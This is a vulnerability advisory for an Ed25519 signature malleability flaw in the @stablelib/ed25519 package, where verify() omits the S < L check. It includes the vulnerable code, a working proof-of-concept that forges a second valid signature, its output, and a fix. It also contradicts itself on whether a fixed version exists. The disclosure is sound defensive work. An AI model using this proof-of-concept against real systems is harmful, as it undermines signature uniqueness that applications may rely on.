@stablelib/ed25519
Affected
- introduced
0, last affected2.0.2(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
StableLib Ed25519 Signature Malleability via Missing S < L Check
Ed25519 Signature Malleability via Missing S < L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347)
Target
Root Cause
The verify() function in @stablelib/ed25519 does not check that the S component of the signature is less than the group order L. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where S >= L to prevent signature malleability.
When S >= L, [S]B = [(S mod L)]B = [(S - L)]B, meaning two different 32-byte S values produce the same verification result. An attacker who observes a valid signature (R, S) can produce a second valid signature (R, S + L) for the same message.
Vulnerable code
File: packages/ed25519/ed25519.ts (compiled: lib/ed25519.js:779-802)
export function verify(publicKey, message, signature) {
// ... length check, unpack public key ...
const hs = new SHA512();
hs.update(signature.subarray(0, 32)); // R
hs.update(publicKey); // A
hs.update(message); // M
const h = hs.digest();
reduce(h); // h is reduced mod L
scalarmult(p, q, h); // [h](-A)
scalarbase(q, signature.subarray(32)); // [S]B -- S NOT checked or reduced
edadd(p, q);
pack(t, p);
if (verify32(signature, t)) { // compare R
return false;
}
return true;
}
Note that h is properly reduce()d (line 794), but S (signature bytes 32-63) is passed directly to scalarbase() without any range check.
Proof of Concept
const ed = require('@stablelib/ed25519');
const kp = ed.generateKeyPair();
const msg = new TextEncoder().encode("Hello, world!");
const sig = ed.sign(kp.secretKey, msg);
console.log("Original valid:", ed.verify(kp.publicKey, msg, sig)); // true
// Ed25519 group order L
const L = [
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
];
// Add L to S component to create malleable signature
const malSig = new Uint8Array(64);
malSig.set(sig.subarray(0, 32)); // R unchanged
let carry = 0;
for (let i = 0; i < 32; i++) {
const sum = sig[32 + i] + L[i] + carry;
malSig[32 + i] = sum & 0xff;
carry = sum >> 8;
}
console.log("Malleable valid:", ed.verify(kp.publicKey, msg, malSig)); // true
console.log("Sigs differ:", !sig.every((b, i) => b === malSig[i])); // true
Output:
Original valid: true
Malleable valid: true
Sigs differ: true
Impact
Suggested Fix
Add an S < L check before processing the signature:
// L in little-endian
const L = new Uint8Array([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
]);
function scalarLessThanL(s) {
for (let i = 31; i >= 0; i--) {
if (s[i] < L[i]) return true;
if (s[i] > L[i]) return false;
}
return false; // equal to L, reject
}
export function verify(publicKey, message, signature) {
// ... existing checks ...
if (!scalarLessThanL(signature.subarray(32))) {
return false; // S >= L, reject
}
// ... rest of verify ...
}
Self-Review
Solution
Upgrade to version 2.1.0.
Medium Basis: The source's own band: MODERATE
0, last affected 2.0.2 (semver)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0